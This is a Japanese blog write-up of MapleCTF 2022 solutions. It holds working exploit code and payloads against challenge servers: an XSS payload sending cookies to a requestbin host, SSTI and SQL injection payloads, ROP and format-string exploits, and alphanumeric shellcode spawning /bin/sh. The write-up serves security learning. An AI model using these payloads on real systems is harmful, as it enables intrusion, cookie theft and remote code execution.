Satoooonの物置

CTFなどをしていない

Maple CTF 2022 Writeup

カナダのCTFチームMaple Baconが主催したMapleCTF 2022に参加し、20位/618チームという結果でした。解けた問題について解説していきます。問題サーバーが閉じているので一部の問題はフラグがありません。

スコアサーバーが https://ctf2022.maplebacon.org/challengesアーカイブされているので問題などもこちらから確認できます。

scoreboard

Web

honksay [140 solves]

const express = require("express");
const cookieParser = require('cookie-parser');
const goose = require("./goose");
const clean = require('xss');

const app = express();
app.use(cookieParser());
app.use(express.urlencoded({extended:false}));

const PORT = process.env.PORT || 9988;

const headers = (req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-Content-Type-Options', 'nosniff');
    return next();
  }
app.use(headers);
app.use(express.static('public'))

const template = (goosemsg, goosecount) => `
<html>
<head>
<style>
H1 { text-align: center }
.center {
    display: block;
    margin-left: auto;
    margin-right: auto;
    width: 50%;
  }

  body {
    place-content:center;
    background:#111;
  }

  * {
    color:white;
  }

</style>
</head>
${goosemsg === '' ? '': `<h1> ${goosemsg} </h1>`}
<img src='/images/goosevie.png' width='400' height='700' class='center'></img>
${goosecount === '' ? '': `<h1> You have honked ${goosecount} times today </h1>`}

<form action="/report" method=POST style="text-align: center;">
  <label for="url">Did the goose say something bad? Give us feedback.</label>
  <br>
  <input type="text" id="site" name="url" style-"height:300"><br><br>
  <input type="submit" value="Submit" style="color:black">
</form>
</html>
`;


app.get('/', (req, res) => {
    if (req.cookies.honk){
        //construct object
        let finalhonk = {};
        if (typeof(req.cookies.honk) === 'object'){
            finalhonk = req.cookies.honk
        } else {
            finalhonk = {
                message: clean(req.cookies.honk), 
                amountoftimeshonked: req.cookies.honkcount.toString()
            };
        }
        res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));
    } else {
        const initialhonk = 'HONK';
        res.cookie('honk', initialhonk, {
            httpOnly: true
        });
        res.cookie('honkcount', 0, {
            httpOnly: true
        });
        res.redirect('/');
    }
});

app.get('/changehonk', (req, res) => {
    res.cookie('honk', req.query.newhonk, {
        httpOnly: true
    });
    res.cookie('honkcount', 0, {
        httpOnly: true
    });
    res.redirect('/');
});

app.post('/report', (req, res) => {
    const url = req.body.url;
    goose.visit(url);
    res.send('honk');
});

app.listen(PORT, () => console.log((new Date())+`: Web/honksay server listening on port ${PORT}`));

XSS問です。/changehonkreq.cookie.honkを操作できます。/XSSが起きそうですが、req.cookie.honkを文字列のまま渡すとcleanサニタイズされてしまいます。そのため、req.cookie.honkをオブジェクトで渡せればXSSが起きそうですね。req.cookieの要素をオブジェクトにするテクはつい最近Hacker's Playground 2022 JWT Decoderでやりました。

satoooon1024.hatenablog.com

cookie-parserライブラリはj:から始まるクッキーはJSONとして解釈します。そのため、/changehonkhonkj:{"message": "<s>wow</s>"}を設定すれば、req.cookie.honk{"message": "<s>wow</s>"}になり、サニタイズを回避できるようになります。あとはrequestbinにCookieを送ればフラグが得られます。

/changehonk?newhonk=j:{%22message%22:%20%22%3Cimg%20src%20onerror=%27location.href=`http://XXX.b.requestbin.net?`%2Bdocument.cookie%27%22,%20%22goosecount%22:%2010}

Pickle Factory [66 solves]

import random
import json
import pickle
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, unquote_plus
from jinja2 import Environment


pickles = {}

env = Environment()


class PickleFactoryHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        if parsed.path == "/":
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            with open("templates/index.html", "r") as f:
                self.wfile.write(f.read().encode())
            return
        elif parsed.path == "/view-pickle":
            params = parsed.query.split("&")
            params = [p.split("=") for p in params]
            uid = None
            filler = "##"
            space = "__"
            for p in params:
                if p[0] == "uid":
                    uid = p[1]
                elif p[0] == "filler":
                    filler = p[1]
                elif p[0] == "space":
                    space = p[1]
            if uid == None:
                self.send_response(400)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write("No uid specified".encode())
                return
            if uid not in pickles:
                self.send_response(404)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(
                    "No pickle found with uid {}".format(uid).encode())
                return
            print(str(pickles[uid]))
            large_template = """
    <!DOCTYPE html>
    <html>
        <head>
            <title> Your Pickle </title>
            <style>
                html * {
                    font-size: 12px;
                    line-height: 1.625;
                    font-family: Consolas; }
            </style>
        </head>
        <body>
            <code> """ + str(pickles[uid]) + """ </code>
            <h2> Sample good: </h2>
            {% if True %}
            {% endif %}
            {{space*59}}
            {% if True %}
            {% endif %}
            {{space*6+filler*5+space*48}}
            {% if True %}
            {% endif %}
            {{space*4+filler*15+space*27+filler*8+space*5}}
            {% if True %}
            {% endif %}
            {{space*3+filler*20+space*11+filler*21+space*4}}
            {% if True %}
            {% endif %}
            {{space*3+filler*53+space*3}}
            {% if True %}
            {% endif %}
            {{space*3+filler*54+space*2}}
            {% if True %}
            {% endif %}
            {{space*2+filler*55+space*2}}
            {% if True %}
            {% endif %}
            {{space*2+filler*56+space*1}}
            {% if True %}
            {% endif %}
            {{space*3+filler*55+space*1}}
            {% if True %}
            {% endif %}
            {{space*3+filler*55+space*1}}
            {% if True %}
            {% endif %}
            {{space*4+filler*53+space*2}}
            {% if True %}
            {% endif %}
            {{space*4+filler*53+space*2}}
            {% if True %}
            {% endif %}
            {{space*5+filler*51+space*3}}
            {% if True %}
            {% endif %}
            {{space*7+filler*48+space*4}}
            {% if True %}
            {% endif %}
            {{space*9+filler*44+space*6}}
            {% if True %}
            {% endif %}
            {{space*13+filler*38+space*8}}
            {% if True %}
            {% endif %}
            {{space*16+filler*32+space*11}}
            {% if True %}
            {% endif %}
            {{space*20+filler*24+space*15}}
            {% if True %}
            {% endif %}
            {{space*30+filler*5+space*24}}
            {% if True %}
            {% endif %}
            {{space*59}}
            {% if True %}
            {% endif %}
        </body>
    </html>
"""
            try:
                res = env.from_string(large_template).render(
                    filler=filler, space=space)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(res.encode())
            except Exception as e:
                print(e)
                self.send_response(500)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write("Error rendering template".encode())
            return
        else:
            self.send_response(404)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write("Not found".encode())
            return

    def do_POST(self):
        parsed = urlparse(self.path)
        if parsed.path == "/create-pickle":
            length = int(self.headers.get("content-length"))
            body = self.rfile.read(length).decode()
            try:
                data = unquote_plus(body.split("=")[1]).strip()
                data = json.loads(data)
                pp = pickle.dumps(data)
                uid = generate_random_hexstring(32)
                pickles[uid] = pp
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(uid.encode())
                return
            except Exception as e:
                print(e)
                self.send_response(400)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write("Invalid JSON".encode())
                return
        else:
            self.send_response(404)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write("Not found".encode())
            return


def render_template_string_sanitized(env, template, **args):
    # it works!
    global_vars = ['self', 'config', 'request', 'session', 'g', 'app']
    for var in global_vars:
        template = "{% set " + var + " = None %}\n" + template
    return env.from_string(template).render(**args)


def generate_random_hexstring(length):
    return "".join(random.choice("0123456789abcdef") for _ in range(length))


if __name__ == "__main__":
    PORT = 9229
    with HTTPServer(("", PORT), PickleFactoryHandler) as httpd:
        print(f"Listening on 0.0.0.0:{PORT}")
        httpd.serve_forever()

謎のアプリで、/create-pickleJSONとして読み込める値をpickle化してくれて、それを/view-pickleでunpickle化して表示できます。

/view-pickleにServer Side Template Injectionがあります。作者の想定解だとSSTIの中でpickle使って色々する予定だったみたいですが、いつものペイロードで終了です。以下のようなJSONをpickle化し、/view-pickleで表示させればフラグが取得できます。

{"a": "{{().__class__.__bases__[0].__subclasses__()[104]().load_module(os).popen('cat flag.log').read()}}"}

Bookstore [60 solves]

本が購入できるサイトです。フラグはDBの中にあり、SQL Injectionがありますが、usernamepasswordはバリデーションが強く攻撃に使うことはできません。しかし、emailはバリデーションが弱いです。

import validator from 'validator'
...
export function validateEmail(email) {
    return validator.isEmail(email)
}

email"hoge fuga"@example.comのような記法も許容されています。(定義されている具体的なRFCとかは調べてませんが、とにかく通ります)

これを使ってSQLiすればよいです。以下のようなemailを使うとフラグが得られます。

"', (SELECT texts FROM books WHERE id = '1'))-- "@example.com

Viene Library (unsolved) [11 solves]

Prototype Pollutionでnode-fetchのPOSTリクエストをPUTリクエストに変更しろという問題でした。コンセプトに気付く前に早めに諦めてしまったので、Art Galleryに時間割いてなければ解けてた気がして悔しい。

redisとレスポンスを返さないFTPサーバーとhttpsのSSRFがあるので頑張ってくださいという問題です。WebのBoss問挑戦してみたいな~と半日かけて挑みましたが、色々試してもリクエストの任意行を操作できる方法がわからず断念しました。Writeupを読み漁っている途中でTLS Poisonという手法を知ってこれではと思いましたが、DNS用のサーバーなど準備するものが多く大変だな~となり諦めました。結局想定解はTLS Poisonだったようですが、Writeupを読み漁っている中でTLS PoisonやFTPのパッシブモードを利用したSSRFについて勉強できたので解けなかったですが満足です。

Crypto

brsaby [166 solves]

from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

msg = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p*q
e = 0x10001
enc = pow(msg, e, N)
hint = p**4 - q**3

print(f"{N = }")
print(f"{e = }")
print(f"{enc = }")
print(f"{hint = }")

'''
N = 134049493752540418773065530143076126635445393203564220282068096099004424462500237164471467694656029850418188898633676218589793310992660499303428013844428562884017060683631593831476483842609871002334562252352992475614866865974358629573630911411844296034168928705543095499675521713617474013653359243644060206273
e = 65537
enc = 110102068225857249266317472106969433365215711224747391469423595211113736904624336819727052620230568210114877696850912188601083627767033947343144894754967713943008865252845680364312307500261885582194931443807130970738278351511194280306132200450370953028936210150584164591049215506801271155664701637982648648103
hint = 20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282
'''

p**4 - q**3が与えられているRSAです。cryptoが苦手すぎてかなり時間かかりましたが、過去の類似問題を漁るとq二次方程式にすれば解けることがわかりました。(次数を調整することしか考えてなかった)

SageMathを使って以下のコードを実行すると、フラグが手に入ります。

参考にしたWriteup:

miso-24.hatenablog.com

from Crypto.Util.number import long_to_bytes

N = 134049493752540418773065530143076126635445393203564220282068096099004424462500237164471467694656029850418188898633676218589793310992660499303428013844428562884017060683631593831476483842609871002334562252352992475614866865974358629573630911411844296034168928705543095499675521713617474013653359243644060206273
e = 65537
enc = 110102068225857249266317472106969433365215711224747391469423595211113736904624336819727052620230568210114877696850912188601083627767033947343144894754967713943008865252845680364312307500261885582194931443807130970738278351511194280306132200450370953028936210150584164591049215506801271155664701637982648648103
hint = 20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282

"""
N = pq
p^4 = N^4/q^4

hint = p^4 - q^3
p^4 = hint + q^3

N^4/q^4 = hint + q^3
N^4 = hint*q^4 + q^7
"""

x = var("x")
f = N^4 - hint*x^4 - x^7
q = int(f.roots()[0][0])
p = N // q
print(p, q, p * q == N)
d = pow(e, -1, (p-1)*(q-1))
print(long_to_bytes(pow(enc, d, N)))

maple{s0lving_th3m_p3rf3ct_r000ts_1s_fun}

(ちなみに、perfect r00tは参加してませんでした)

jwt (unsolved) [79 solves]

jwtに楕円曲線暗号を実装してみましたという問題です。明らかにinvalid curve attackなんですが、やり方を理解できておらず諦めました。最低点(50pt)の問題解けなかったのつらい。

Rev

手を出してません。Revに手を出す暇があったら他の解けそうな問題に手を出してしまう...

Pwn

warmup1 [190 solves]

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

read関数のStack-based Buffer Overflow があります。スタックのリターンアドレスが0x555555555212 (main+68)のとき、win関数が0x555555555219にあるのでリターンアドレスの下1byteを\x19に書き替えれば終わりです。

import sys
import glob
from pwn import *

context.terminal = "wterminal"

context.binary = "./chal"
chall = context.binary
libc = "./libc.so.6"
nc = "nc warmup1.ctf.maplebacon.org 1337"

if len(glob.glob(libc)) == 1:
    libc = ELF(libc)

def connect():
    if "debug" in sys.argv:
        return gdb.debug(context.binary.path, command)
    elif "remote" in sys.argv:
        _, domain, port = nc.split()
        return remote(domain, int(port))
    else:
        return process(context.binary.path)

def to_bytes(v):
    return str(v).encode()

def unpack(data):
    return u64(data.rstrip().ljust(8, b"\x00"))

command = '''
b main
c
'''

io = connect()

io.send(b"A" * 0x18 + b"\x19")

io.interactive()

warmup2 [100 solves]

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ./chal
What's your name?
hogehoge
Hello hogehoge
!
How old are you?
fugafuga
Wow, I'm fugafuga
 too!

今回はcanaryが有効です。read関数のBOFが二回あり、一回目に入力した文字列が二回目の前に表示されるようになっています。

canaryがないと攻撃できないので、canaryをleakしましょう。一回目でcanaryの値があるアドレスの直前まで文字を埋めることで、文字列の表示時にcanaryがleakできます。

canaryがleakできたらret2vulnして同様に必要なアドレスをleakして、ROPすれば終わりです。

io = connect()

# canary leak
io.sendafter(b"What's your name?\n", b"A" * 8 * 0x21 + b"Z")
io.recvuntil("Z")
canary = u64(b"\x00" + io.recv(7))
log.info(f"canary: {canary:x}")

payload = b"A" * 8 * 0x21
payload += p64(canary)
payload += p64(0)  # rbp
payload += b"\xa3"

io.sendafter(b"How old are you?\n", payload)

# bin leak
io.sendafter(b"What's your name?\n", b"A" * 8 * 0x23 + b"Z")
io.recvuntil("Z")
chall.address = u64(b"\x00" + io.recv(5) + b"\x00" * 2) - 0x1200
log.info(f"bin base: {chall.address:x}")

# libc leak
pop_rdi = chall.address + 0x0000000000001353
ret = chall.address + 0x000000000000101a

payload = b"A" * 8 * 0x21
payload += p64(canary)
payload += p64(0)  # rbp
payload += p64(pop_rdi)
payload += p64(chall.got["puts"])
payload += p64(chall.plt["puts"])
payload += p64(chall.sym["main"])

io.sendafter(b"How old are you?\n", payload)
io.recvuntil("too!\n")
libc.address = unpack(io.recvline()) - libc.sym["puts"]
log.info(f"libc: {libc.address:x}")

io.sendafter(b"What's your name?\n", b"hoge")

# ROP
payload = b"A" * 8 * 0x21
payload += p64(canary)
payload += p64(0)  # rbp
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.sym["system"])

io.sendafter(b"How old are you?\n", payload)

io.interactive()

no flag 4 u [38 solves]

LD_PRELOADを使い次のライブラリでいくつかの関数をパッチした環境でバイナリが動いています。

github.com

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
❯ ./chal
1 : Create page
2 : Edit page
3 : Print page
4 : Delete page
5 : Exit

フォーマットはheap問ですが、heap要素はありません。どの関数もindexのチェックがされていないので、pagesの範囲を超えて参照することができます。

void edit_page(char **pages)

{
  long lVar1;

  printf("index: ");
  lVar1 = get_input();
  printf("content: ");
  gets(pages[lVar1]);
  return;
}

pagesmain関数のスタックに配置される配列なので、indexを操作することでスタックにあるアドレスを使うことができます。edit_pageを使えばスタック上を指しているスタック上のポインタを利用してスタック上に任意のアドレスを生成し、そのアドレスに対して再度edit_pageを利用すればAAWができるので、GOT Overwriteして終わりです。

最初に言ったライブラリのパッチにより、UTF-8 validな入力/出力でなければpanicが起きます。特に強い制限ではなくて、win関数のアドレスはUTF-8 validなので、GOTのアドレスをUTF-8 validなものに吟味するだけでよいです。

def create(idx, size, content):
    io.sendlineafter("5 : Exit\n", b"1")
    io.sendlineafter("index: ", to_bytes(idx))
    io.sendlineafter("size: ", to_bytes(size))
    io.sendlineafter("content: ", content)

def edit(idx, content):
    io.sendlineafter("5 : Exit\n", b"2")
    io.sendlineafter("index: ", to_bytes(idx))
    io.sendlineafter("content: ", content)

def show(idx):
    io.sendlineafter("5 : Exit\n", b"3")
    io.sendlineafter("index: ", to_bytes(idx))
    return io.readline()

def delete(idx):
    io.sendlineafter("5 : Exit\n", b"4")
    io.sendlineafter("index: ", to_bytes(idx))

io = connect()

edit(0x37, p64(chall.got["gets"]))
edit(0x61, p64(chall.sym["win"]))

io.interactive()

printf [25 solves]

Format String Bugがありますが、printfが一回だけ行われて終了するバイナリなので頑張る必要があります。このテクニックはdouble staged fsbとして知られているらしいですね。

簡単に説明すると、%hhnでスタック上のスタックを指すポインタの下1byteを書き替えて偶然リターンアドレスを指しているアドレスにできれば、そのアドレスに対して%hhnすればリターンアドレスを書き替えられるよね、というものです。この"偶然"は1/16の確率で起こるので現実的な試行回数で成功することができます。これを使えばmain関数に再度戻ることができるので、何回も戻りながら他のスタック上のスタックを指すポインタを使って同様の手法を同時に使うことでAAWできるというものです。良さそうなGOT Overwrite先が無かったのでROPしました。

io = connect()

io.sendline(f"%c%c%c%c%{0x18 - 4}c%hhn%{0x100 - 0x18 + 0xf}c%hhn%c%p%p%c%p")

io.recvuntil("0x")
stack_leak = int(io.read(6*2), 16)
log.info(f"stack: {stack_leak:x}")

io.recvuntil("0x")
chall.address = int(io.read(6*2), 16) - 0x120f
log.info(f"bin: {chall.address:x}")


io.recvuntil("0x")
libc.address = int(io.readline(), 16) - (libc.sym["__libc_start_main"] + 243)
log.info(f"libc: {libc.address:x}")

pop_rdi = 0x00000000000012c3 + chall.address

payload = b""
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.sym["system"])
for i in range(len(payload)//2):
    src_addr = ((stack_leak & 0xffff) + i * 2) % 0x10000
    val = u16(payload[i*2:i*2+2])
    io.sendline(f"%c%c%c%c%{0x18 - 4}c%hhn%{0x100 - 0x18 + 0xf}c%hhn%c%c%c%c%c%{0x10000 - 0x10f + src_addr - 5}c%hn{'%c'*0x1a}%{0x10000 - src_addr + val - 0x1a}c%hn")

# ret
io.sendline(f"%c%c%c%c%{0x18 - 4}c%hhn%{0x100 - 0x18 + 0x54}c%hhn")

io.interactive()

Puzzling Oversight [19 solves]

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
❯ ./chal_patched
Welcome to the Number Flipper(TM) game v7.27!

Options:
1 - play the game
2 - display how to play this game
3 - display game stats
4 - quit

> 2

How to play this game:
You are given 8 random hexadecimal numbers, which you can increment by any amount (it will wrap around if it's too big);
However, the catch is doing so also affects the numbers directly next to it!
Your goal is to flip all the numbers to 0s.
That's it - simple, right?

Options:
1 - play the game
2 - display how to play this game
3 - display game stats
4 - quit

> 1

Board: 4bcb 20e9 1f79 e50b 2926 5a5c 6ee4 8506
Your move (0 to quit) > 2
Increment how much? > 16
Board: 4bdb 20f9 1f89 e50b 2926 5a5c 6ee4 8506
Your move (0 to quit) > 0

Options:
1 - play the game
2 - display how to play this game
3 - display game stats
4 - quit

> 4

説明にある通り、以下のようなゲームができます。

  • ランダムな8個の数字が与えられる

  • ある数字を指定して、その数字と両隣を任意の数字と加算することができる (2byteから溢れた分は捨てられる)

  • 数字の配列はBSSに保存される

  • 全部0にしたらクリア

  • 途中でやめることも可能

また、main関数ではBSSに関数ポインタのテーブルを用意して、選択肢によりジャンプ先が分岐するようになっています。

ゲームの加算部分に脆弱性があります。例えば一番左端の数字を指定すると、左端の左、つまり左端から左2byteの範囲外領域も加算させることができます。左2byteに何があるかというと、mainからゲームが行われる関数に飛ぶときに使う関数ポインタです。この関数ポインタに加算ができるということなので、RIPをバイナリの任意の場所にすることができました。

ここでRIPをどこに向ければいいか悩みましたが、よく見るとBSS領域がRWXになっていることに気付きました。(ちょっとした問題がありDocker内のvanilla gdbデバッグしてたので気付かなかった)

数字の配列はBSSに保存されるので、これをshellcodeにして配列にRIPを向ければshellcodeの実行ができますね。

shellcodeを実行するには数字の配列を任意の値に操作したいですね。関数ポインタを操作する都合上、左端の加算値は確定するのでこの問題は貪欲に左から求めれば解けます。

右端は左側の数字を操作するのに使ってしまうので、右端の値は操作することができません。そのため、数字7個分の14bytesが操作できる限界です。つまり、shellcodeは14bytesしか実行できません。

14bytesのshellcodeで/bin/shの実行までできればいいですが難しそうなので、RIPから相対的にjmpできるnear jmp(E9)で再度mainに戻るようにして何回もshellcodeを実行する方針でexploitしました。

www.felixcloutier.com

io = connect()

context.arch="amd64"

for j, c in enumerate(b"/bin/sh\x00"):
    print(j)
    # print("OK")
    io.sendlineafter("> ", "1")

    io.recvuntil("Board: ")
    board = [0] + list(map(lambda x:int(x, 16), io.readline().rstrip().split(b" "))) + [0]
    print(board)

    if c == 0:
        code = asm(f"mov rdi,rbp\nmov al,0x3b\nxor rdx,rdx\nxor rsi,rsi\nsyscall")
    else:
        code = asm(f"mov BYTE PTR [rbp+{j}], {c}") + b"\xe9\x42\xd3\xff\xff"
    code = b"\x90" * (14 - len(code)) + code
    print(disasm(code))
    code = code[::-1]
    assert len(code) <= 14

    for i in range(1, 8+1):
        if i == 1:
            if j == 0:
                diff = 11438+2
            else:
                diff = 0
        else:
            diff = (int.from_bytes(code[i*2-4:i*2-2], "big") - board[i-1]) % 0x10000
        board[i+1] += diff
        board[i] += diff
        board[i-1] += diff
        io.sendlineafter("Your move (0 to quit) > ", str(i))
        io.sendlineafter("Increment how much? > ", str(diff))

    io.sendlineafter("Your move (0 to quit) > ", "0")
    # io.sendlineafter("> ", "1")

io.interactive()

Discord見たら頑張って14bytesでsh実行している人が何人もいた。すごい。

EBCSIC [14 solves]

#!/usr/bin/env python3
import string
import ctypes
import os
import sys
import subprocess

ok_chars = string.ascii_uppercase + string.digits
elf_header = bytes.fromhex("7F454C46010101000000000000000000020003000100000000800408340000000000000000000000340020000200280000000000010000000010000000800408008004080010000000000100070000000000000051E5746400000000000000000000000000000000000000000600000004000000")

print("Welcome to EBCSIC!")
sc = input("Enter your alphanumeric shellcode: ")
try:
    assert all(c in ok_chars for c in sc)
    sc_raw = sc.encode("cp037")
    assert len(sc_raw) <= 4096
except Exception as e:
    print("Sorry, that shellcode is not acceptable.")
    exit(1)

print("Looks good! Let's try your shellcode...")
sys.stdout.flush()

memfd_create = ctypes.CDLL("libc.so.6").memfd_create
memfd_create.argtypes = [ctypes.c_char_p, ctypes.c_int]
memfd_create.restype = ctypes.c_int

fd = memfd_create(b"prog", 0)
os.write(fd, elf_header)
os.lseek(fd, 4096, 0)
os.write(fd, sc_raw.ljust(4096, b"\xf4"))
os.execle("/proc/self/fd/%d" % fd, "prog", {})
os.execle("./test", "prog", {})

alphanumeric shellcodeはASCIIのアルファベットと数字だけで記述するshellcodeですが、この問題はx86 alphanumeric shellcodeをcp037エンコーディング下で4096byte以内でやれという問題です。使えるバイトは以下の通りです。

\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9
\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9
\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9
\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9

/bin/shをどこかのメモリに配置してexecveシステムコールでシェルを取りたいので、実現するには以下のような手段が考えられます。

  1. レジスタに任意の値を生成する

  2. メモリにレジスタの値を書き込む

  3. RIPを任意の値にする (execveにはint 0x80が必要で、\x80は許可されてないのでstagerが必要)

coder32 edition | X86 Opcode and Instruction Reference 1.12 とにらめっこした結果、なんとか全ての手段を達成できました。

1. レジスタに任意の値を生成する

まず、notnegclに1を生成します。その後右シフト命令のsarを使うとCF(キャリーフラグ)を立てることができます。

f6 d1                   not    cl
f6 d9                   neg    cl
d1 f9                   sar    ecx, 1

次に、左Rotate命令のrclを使うことでCFを下位に1bit挿入することができます。

d1 d4                   rcl    esp, 1

現時点でecxは0なので、再度sarを行えばCFをクリアすることができます。

d1 f9                   sar    ecx, 1

最初にCFを立てるか立てないかで1bitを操作することができるので、これを32bit分繰り返せば任意の値が生成できます。(無駄が多いことには目を瞑る)

2. メモリにレジスタの値を書き込む

これを探すのが一番苦労しました。この問題の核心です。

[foo][foo + rcx*4]のようなアドレッシングの表現はModR/M byteというもので管理されているらしく、次のような表で確認できます。

ref.x86asm.net

この問題では使えるバイトは最低\xc0です。間接アドレッシングを表現できるのはC0未満なので、どうやっても間接アドレッシングを利用してメモリを参照することができません!これではfoo [bar], bazのような形の命令は全て使えません。

通常のalphanumeric shellcodeに使われるpush命令も使える範囲にありません。答えはどこかしらにあるはずなので、使える命令を端から端まで見ました。すると、気になる命令がありました。

ENTER eBP imm16 imm8: Make Stack Frame for Procedure Parameters

「Make Stack Frame...? ENTER命令ってROPgadgetとかで見かけたことはあるな。調べてみるか」

leaveの逆をするenter命令というのもあります。 以下の命令と同じような処理をします。

push ebp
mov ebp, esp
sub esp, N

x86アセンブリ言語での関数コール

「これやんけ!!!!!!!!!!!!!!!!!!!!!」

enterに隠れたpushがありました。ebpは操作できるので、enterpushをすればスタックに任意の値を積むことができるので、これで2を達成できました。

c8 c1 c1 c1             enter  0xc1c1, 0xc1

ずれたespは後で適当に調整すればいいです。

3. RIPを任意の値にする

これは簡単、retです。

c3                      ret

exploit

というわけで任意のshellcodeを書いて実行することができます。以下がexploitです。(めちゃくちゃ汚くてかなり無駄があるので、4096byteの制限ギリギリです)

from pwn import *
import string

context.arch="i386"

ok_chars = string.ascii_uppercase + string.digits
ok_chars = ok_chars.encode("cp037") 

print(ok_chars)

def valid(code):
    for c in code:
        if c not in ok_chars:
            print(hex(c))
    assert len(code) <= 4096

"""
 0x8048000  0x8049000 rwxp     1000 1000   binary
 0x8049000  0x8058000 rwxp     f000 0      [heap]
0xf7ff9000 0xf7ffc000 r--p     3000 0      [vvar]
0xf7ffc000 0xf7ffe000 r-xp     2000 0      [vdso]
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]
"""

set_CF = asm("""
    not cl
    neg cl
    sar ecx, 1
""")

clear_CF = asm("sar ecx, 1")

load_CF_to_ebp = asm("rcl ebp, 1")
load_CF_to_esp = asm("rcl esp, 1")
enter = asm("enter 0xc1c1, 0xc1")
ret = asm("ret")

def make(n, loadcode):
    assert n < (1 << 32)
    code = b""
    for i in range(32):
        if (n >> (31 - i)) & 1:
            code += set_CF
        else:
            code += clear_CF
        code += loadcode
    return code


shellcode = asm("nop") + asm("mov esp, 0x8052000") + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80".ljust(4, b"\x90") + b"\x90" * 4

print(shellcode)
payload = b""
for i in range(len(shellcode)//4):
    idx = len(shellcode)//4 - i
    payload += make(0x8058000-4*i, load_CF_to_esp)
    payload += make(u32(shellcode[4*(idx-1):4*idx]), load_CF_to_ebp)
    payload += enter

payload += make(0x8058000-len(shellcode), load_CF_to_esp)
payload += make(0x8058000-len(shellcode)+1, load_CF_to_ebp)
payload += enter

payload += make(0x8057fdb, load_CF_to_esp)
payload += ret

print(len(payload))
assert len(payload) <= 4096

print(payload, disasm(payload))

valid(payload)

print(payload.decode("cp037"))

生成した以下のpayloadをサーバーに投げると、シェルが取得できます。

